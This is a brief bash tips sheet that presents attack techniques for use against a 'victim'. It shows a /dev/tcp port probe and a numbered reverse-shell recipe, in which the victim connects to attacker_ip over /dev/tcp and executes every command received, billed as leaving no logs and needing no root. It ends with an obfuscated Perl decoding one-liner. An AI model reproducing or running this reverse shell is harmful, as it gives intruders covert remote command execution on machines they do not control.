############################################################################################################## # # # # # some tips & tricks with shell bash # # # ############################################################################################################## ############## simple port scan ############################################################################# example, check services on port 55555 attacker$ echo '' > /dev/tcp/victim/55555 when output is: "connect: Connection refused" service is down, also is up ############## reverse shell, no logs and don't root need #################################################### scenario: attacker victim 1 - attacker# nc -l -p 55555 2 - victim$ exec 5<>/dev/tcp/attacker_ip/55555 4 - [run commands here] 3 - victim$ cat <&5 | while read line; do $line 2>&5 >&5;done 5 - [look result here] ############## ../zogs/ # echo "}rjvCrshqehhu1lw" | perl -pe 's/(.)/chr(ord($1)-3)/ge' ########################